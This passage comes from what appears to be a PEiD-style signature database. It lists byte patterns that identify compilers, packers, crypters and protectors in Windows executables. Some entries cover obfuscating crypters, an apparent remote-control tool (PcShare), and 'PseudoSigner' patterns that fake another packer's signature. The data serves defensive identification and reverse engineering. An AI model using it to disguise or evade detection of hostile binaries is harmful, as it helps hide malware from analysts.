?? ?? 8B ?? ?? ?? 55 3B FB 75 +ep_only = true + +[Microsoft Visual C++] +signature = 8B 44 24 08 83 ?? ?? 74 +ep_only = true + +[Microsoft Visual C++] +signature = 8B 44 24 08 56 83 E8 ?? 74 ?? 48 75 +ep_only = true + +[Microsoft Visual C++ (3.0 old crap)] +signature = 64 A1 00 00 00 00 55 ?? ?? 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 00 83 EC 10 +ep_only = true + +[Microsoft Visual C++ 7.1] +signature = 8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 39 75 0C 0F 84 ?? ?? ?? ?? 33 C0 40 5E 5D C2 0C 00 +ep_only = false + +[Microsoft Visual C++ 7.1] +signature = 8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 +ep_only = false + +[Microsoft Visual C++ 7.1] +signature = 8B FF 55 8B EC 56 33 F6 39 75 0C 75 0E 39 35 ?? ?? ?? ?? 7E 2D FF 0D ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 3D 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 75 04 33 C0 EB 67 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 +ep_only = false + +[Microsoft Visual C++ DLL] +signature = 53 56 57 BB 01 ?? ?? ?? 8B ?? 24 14 +ep_only = true + +[Microsoft Visual C++ DLL] +signature = 55 8B EC 56 57 BF 01 00 00 00 8B 75 0C +ep_only = true + +[Microsoft Visual C++ DLL] +signature = 53 55 56 8B 74 24 14 85 F6 57 B8 01 00 00 00 +ep_only = true + +[Microsoft Visual C++ v4.2] +signature = 64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? FF +ep_only = true + +[Microsoft Visual C++ v4.2] +signature = 64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? C7 +ep_only = true + +[Microsoft Visual C++ v4.2 DLL] +signature = 53 B8 ?? ?? ?? ?? 8B ?? ?? ?? 56 57 85 DB 55 75 +ep_only = true + +[Microsoft Visual C++ v6.0] +signature = 55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 89 65 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF +ep_only = false + +[Microsoft Visual C++ v6.0 DLL] +signature = 55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84 +ep_only = true + +[Microsoft Visual C++ v6.0 DLL] +signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C +ep_only = true + +[Microsoft Visual C++ v6.0 DLL] +signature = 55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = false + +[Microsoft Visual C++ v6.0 SPx] +signature = 55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 6A 01 8B F0 FF 15 +ep_only = true + +[Microsoft Visual C++ v6.0 SPx] +signature = 55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 8B F0 8A ?? 3C 22 +ep_only = true + +[Microsoft Visual C++ v7.0 (64 Bit)] +signature = ?? ?? 41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = false + +[Microsoft Visual C++ v7.0 DLL] +signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 +ep_only = true + +[Microsoft Visual C++ v7.1 DLL] +signature = 6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4 +ep_only = true + +[Microsoft Visual C++ v7.1 DLL (Debug)] +signature = 55 8B EC ?? ?? 0C 83 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 8B +ep_only = true + +[Microsoft Visual C++ v7.1 EXE] +signature = 6A ?? 68 ?? ?? ?? ?? E8 +ep_only = true + +[Microsoft Visual C++ vx.x] +signature = 55 8B EC 56 57 BF ?? ?? ?? ?? 8B ?? ?? 3B F7 0F +ep_only = true + +[Microsoft Visual C++ vx.x] +signature = 53 55 56 8B ?? ?? ?? 85 F6 57 B8 ?? ?? ?? ?? 75 ?? 8B ?? ?? ?? ?? ?? 85 C9 75 ?? 33 C0 5F 5E 5D 5B C2 +ep_only = true + +[MinGW GCC DLL v2xx] +signature = 55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = true + +[MinGW GCC v2.x] +signature = 55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45 +ep_only = true + +[MinGW GCC v2.x] +signature = 55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 +ep_only = true + +[MoleBox V2.X -> MoleStudio.com] +signature = E8 00 00 00 00 60 E8 4F 00 00 00 +ep_only = true + +[MS FORTRAN Library 19??] +signature = FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC B8 ?? ?? 8E C0 26 C7 ?? ?? ?? ?? ?? 26 +ep_only = true + +[MS FORTRAN Library 19??] +signature = FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? 9A ?? ?? ?? ?? 9B DB E3 9B D9 2E ?? ?? 33 C9 +ep_only = true + +[MS Run-Time Library (OS/2) & FORTRAN Compiler 1989] +signature = B4 30 CD 21 86 E0 2E A3 ?? ?? 3D ?? ?? 73 +ep_only = true + +[MS Run-Time Library 1987] +signature = B4 30 CD 21 3C 02 73 ?? 9A ?? ?? ?? ?? B8 ?? ?? 50 9A ?? ?? ?? ?? 92 +ep_only = true + +[MS Run-Time Library 1990 (07)] +signature = 2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F 8B 1E ?? ?? 0B DB 74 ?? 8C D1 8B D4 FA 8E D3 BC ?? ?? FB +ep_only = true + +[MS Run-Time Library 1990 (10)] +signature = E8 ?? ?? 2E FF 2E ?? ?? BB ?? ?? E8 ?? ?? CB +ep_only = true + +[MS Run-Time Library 1990, 1992 (09)] +signature = B4 30 CD 21 3C 02 73 ?? C3 8C DF 8B 36 ?? ?? 2E +ep_only = true + +[MS Run-Time Library 1992 (13)] +signature = BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB 33 DB B8 ?? ?? CD 21 +ep_only = true + +[MS Run-Time Library 1992 (14)] +signature = 1E 06 8C C8 8E D8 8C C0 A3 ?? ?? 83 C0 ?? A3 ?? ?? B4 30 +ep_only = true + +[nbuild v1.0 [soft]] +signature = B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2 +ep_only = true + +[NeoLite v1.0] +signature = 8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25 +ep_only = true + +[NeoLite v2.0] +signature = E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4E 65 6F 4C 69 74 65 +ep_only = true + +[NeoLite v2.00] +signature = 8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 +ep_only = true + +[NFO v1.0] +signature = 8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C +ep_only = true + +[NoodleCrypt v2.0] +signature = EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 +ep_only = false + +[Noodlecrypt2 -> r!sc] +signature = EB 01 9A E8 76 00 00 00 +ep_only = true + +[NsPack V1.1 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00 +ep_only = true + +[nSpack V1.3 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 +ep_only = true + +[NsPack V1.4 -> LiuXingPing] +signature = 9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00 +ep_only = true + +[Nullsoft Install System v1.98] +signature = 83 EC 0C 53 56 57 FF 15 2C 81 40 +ep_only = true + +[Nullsoft PIMP Install System v1.x] +signature = 83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00 +ep_only = true + +[NX PE Packer v1.0] +signature = FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00 +ep_only = true + +[Obsidium 1.2.0.0 -> Obsidium Software] +signature = EB 02 ?? ?? E8 3F 1E 00 00 +ep_only = true + +[Obsidium v1.1.1.1] +signature = EB 02 ?? ?? E8 E7 1C 00 00 +ep_only = true + +[Obsidium V1.2 -> Obsidium Software] +signature = EB 02 ?? ?? E8 77 1E 00 00 +ep_only = true + +[Obsidium V1.2.5.8 -> Obsidium Software] +signature = EB 01 ?? E8 ?? 00 00 00 +ep_only = true + +[Obsidium V1.25 -> Obsidium Software] +signature = E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 +ep_only = true + +[Obsidium V1.3.0.0 -> Obsidium Software] +signature = EB 04 ?? ?? ?? ?? E8 ?? 00 00 00 +ep_only = true + +[Obsidium V1.3.0.0 -> Obsidium Software] +signature = EB 04 ?? ?? ?? ?? E8 29 00 00 00 +ep_only = true + +[Obsidium V1.3.0.4 -> Obsidium Software] +signature = EB 02 ?? ?? E8 ?? 00 00 00 +ep_only = true + +[ORiEN V2.12 -> Fisun A.V.] +signature = E9 5D 01 00 00 CE D1 CE CD 0D +ep_only = true + +[Packanoid -> Arkanoid] +signature = BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 +ep_only = true + +[Packed with: PKLITE v1.50 with CRC check (1)] +signature = 1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21 +ep_only = true + +[Packman V0.0.0.1 -> Bubbasoft] +signature = 60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48 +ep_only = true + +[PAK-SFX Archive] +signature = 55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D +ep_only = true + +[PassEXE v2.0] +signature = 06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A +ep_only = true + +[Password protector my SMT] +signature = E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74 +ep_only = true + +[PC Shrinker v0.20] +signature = E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68 +ep_only = true + +[PC Shrinker v0.29] +signature = ?? BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40 +ep_only = true + +[PC Shrinker v0.45] +signature = ?? BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40 +ep_only = true + +[PC-Guard v4.05d, v4.10d, v4.15d] +signature = FC 55 50 E8 00 00 00 00 5D EB 01 +ep_only = true + +[PCPEC "alpha - preview"] +signature = 53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00 +ep_only = true + +[PCPEC [alpha]] +signature = 53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83 +ep_only = true + +[PCrypt v3.51] +signature = 50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9 +ep_only = true + +[PcShare ļ v4.0 -> ޿ɷ] +signature = 55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1 +ep_only = true + +[PCShrink 0.71 beta] +signature = 01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00 +ep_only = true + +[PCShrink v0.40b] +signature = 9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D +ep_only = true + +[PE Crypt v1.00/v1.01] +signature = E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB +ep_only = true + +[PE Crypt v1.02] +signature = E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 +ep_only = true + +[PE Crypt32 (Console v1.0, v1.01, v1.02)] +signature = E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB +ep_only = true + +[PE Crypt32 v1.02] +signature = E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21 +ep_only = true + +[PE Diminisher V0.1 -> Teraphy] +signature = 53 51 52 56 57 55 E8 00 00 00 00 +ep_only = true + +[PE Lock NT v2.01] +signature = EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD +ep_only = true + +[PE Lock NT v2.02c] +signature = EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD +ep_only = true + +[PE Lock NT v2.03] +signature = EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01 +ep_only = true + +[PE Lock NT v2.04] +signature = EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3 +ep_only = true + +[PE Pack v0.99] +signature = 60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2 +ep_only = true + +[PE Packer] +signature = FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10 +ep_only = true + +[PE-Armor 0.46 -> Hying] +signature = E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D +ep_only = true + +[PE-Armor 0.49 -> Hying] +signature = 56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00 +ep_only = true + +[PE-Crypt 1.02] +signature = E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 +ep_only = true + +[PE-Crypter] +signature = 60 E8 00 00 00 00 5D EB 26 +ep_only = true + +[PE-PACK 0.99] +signature = 60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2 +ep_only = true + +[PE-PACK v1.0 by ANAKiN 1998 (???)] +signature = 74 ?? E9 ?? ?? ?? ?? 00 00 00 00 +ep_only = true + +[PE-PROTECT 0.9] +signature = E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 +ep_only = true + +[PE-SHiELD 0.2] +signature = 60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04 +ep_only = true + +[PEArmor V0.7X -> Hying] +signature = 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3 +ep_only = true + +[PECompact v0.92] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5 +ep_only = true + +[PECompact v0.94] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02 +ep_only = true + +[PECompact v0.971 - v0.976] +signature = EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85 +ep_only = true + +[PECompact v1.84] +signature = 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 +ep_only = true + +[PEEncrypt v4.0b (JunkCode)] +signature = 66 ?? ?? 00 66 83 ?? 00 +ep_only = true + +[PELOCKnt 2.04] +signature = EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 +ep_only = true + +[PEncrypt v3.1] +signature = E9 ?? ?? ?? 00 F0 0F C6 +ep_only = true + +[PENightMare v1.3] +signature = 60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9 +ep_only = true + +[PESHiELD v0.1b MTE] +signature = E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 1B 01 ?? ?? D1 +ep_only = true + +[PESHiELD v0.2 / v0.2b / v0.2b2] +signature = 60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04 +ep_only = true + +[PESHiELD v0.251] +signature = 5D 83 ED 06 EB 02 EA 04 8D +ep_only = true + +[PEShit] +signature = B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF +ep_only = true + +[PEStubOEP v1.x] +signature = 40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3 +ep_only = false + +[Petite 1.2] +signature = 66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 +ep_only = true + +[PEtite v1.2] +signature = 9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08 +ep_only = true + +[PEtite v1.3] +signature = ?? ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42 +ep_only = true + +[Petite v1.4] +signature = B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00 +ep_only = true + +[PEtite v1.4] +signature = 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC +ep_only = true + +[PEtite v2.1] +signature = B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50 +ep_only = true + +[Petite v2.1 (1)] +signature = B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50 +ep_only = true + +[Petite v2.1 (2)] +signature = B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50 +ep_only = true + +[PEtite v2.2] +signature = B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50 +ep_only = true + +[Petite v?.? (after v1.4)] +signature = B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83 +ep_only = true + +[PEtite vx.x] +signature = B8 ?? ?? ?? ?? 66 9C 60 50 +ep_only = true + +[PEX v0.99] +signature = 60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81 +ep_only = true + +[PGMPACK v0.13] +signature = FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3 +ep_only = true + +[PGMPACK v0.14] +signature = 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3 +ep_only = true + +[PIRIT v1.5] +signature = B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21 +ep_only = true + +[PKLITE v1.00, v1.03] +signature = B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B +ep_only = true + +[PKLITE v1.00c (1)] +signature = 2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE +ep_only = true + +[PKLITE v1.00c (2)] +signature = BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90 +ep_only = true + +[PKLITE v1.12, v1.15, v1.20 (1)] +signature = B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20 +ep_only = true + +[PKLITE v1.12, v1.15, v1.20 (2)] +signature = B8 ?? ?? BA ?? ?? 3B C4 73 +ep_only = true + +[PKLITE v1.14, v1.15, v1.20 (3)] +signature = B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F +ep_only = true + +[PKLITE v1.14, v1.20] +signature = B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20 +ep_only = true + +[PKLITE v1.20] +signature = B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21 +ep_only = true + +[PKLITE v1.50 (1)] +signature = 50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21 +ep_only = true + +[PKLITE v2.00c] +signature = 50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC +ep_only = true + +[PKLITE32 1.1] +signature = 50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31 +ep_only = true + +[PKLITE32 1.1 -> PKWARE Inc.] +signature = 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9 +ep_only = true + +[PKLITE32 v1.1] +signature = 55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10 +ep_only = false + +[PKLITE32 v1.1] +signature = 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8 +ep_only = true + +[PKLITE32 v1.1] +signature = 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50 +ep_only = true + +[PKTINY v1.0 with TINYPROG v3.8] +signature = 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83 +ep_only = true + +[PKZIP-SFX v1.1 1989-90] +signature = FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB +ep_only = true + +[PLINK86 1984, 1985] +signature = FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26 +ep_only = true + +[PolyEnE V0.01+ -> Lennart Hedlund] +signature = 50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C +ep_only = false + +[Prepared by SLR (OPTLINK)] +signature = 87 C0 55 56 57 52 51 53 50 9C FC 8C DA 83 ?? ?? 16 07 0E 1F +ep_only = true + +[Private EXE Protector 1.8] +signature = BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0 +ep_only = true + +[Private EXE Protector 2.0 -> SetiSoft] +signature = 89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF +ep_only = false + +[Private EXE v2.0a] +signature = 53 E8 00 00 00 00 5B 8B C3 2D +ep_only = true + +[PrivateEXE v2.0a] +signature = 06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E +ep_only = true + +[PrivateEXE v2.0a] +signature = 53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B +ep_only = true + +[PRO-PACK v2.08, emphasis on packed size, locked] +signature = 83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B +ep_only = true + +[PROTECT! EXE/COM v6.0] +signature = 1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8 +ep_only = true + +[PseudoSigner 0.1 [MEW 11 SE 1.0] --> Anorganix] +signature = E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9 +ep_only = true + +[PseudoSigner 0.1 [MinGW GCC 2.x] --> Anorganix] +signature = 55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9 +ep_only = true + +[PseudoSigner 0.1 [VBOX 4.3 MTE] --> Anorganix] +signature = 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9 +ep_only = true + +[PseudoSigner 0.1 [VOB ProtectCD 5] --> Anorganix] +signature = 36 3E 26 8A C0 60 E8 00 00 00 00 E9 +ep_only = true + +[PseudoSigner 0.1 [WATCOM C/C++ EXE] --> Anorganix] +signature = E9 00 00 00 00 90 90 90 90 57 41 E9 +ep_only = true + +[PseudoSigner 0.1 [XCR 0.11] --> Anorganix] +signature = 60 8B F0 33 DB 83 C3 01 83 C0 01 E9 +ep_only = true + +[PseudoSigner 0.1 [Yoda's Protector 1.02] --> Anorganix] +signature = E8 03 00 00 00 EB 01 90 90 E9 +ep_only = true + +[PseudoSigner 0.2 [32Lite 0.03] --> Anorganix] +signature = 60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 +ep_only = true + +[PseudoSigner 0.2 [Borland C++ DLL (Method 2)] --> Anorganix] +signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 +ep_only = true + +[PseudoSigner 0.2 [CD-Cops II] --> Anorganix] +signature = 53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 +ep_only = true + +[PseudoSigner 0.2 [MEW 11 SE 1.0] --> Anorganix] +signature = E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 +ep_only = true + +[PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix] +signature = 68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 +ep_only = true + +[PseudoSigner 0.2 [MinGW GCC 2.x] --> Anorganix] +signature = 55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 +ep_only = true + +[PseudoSigner 0.2 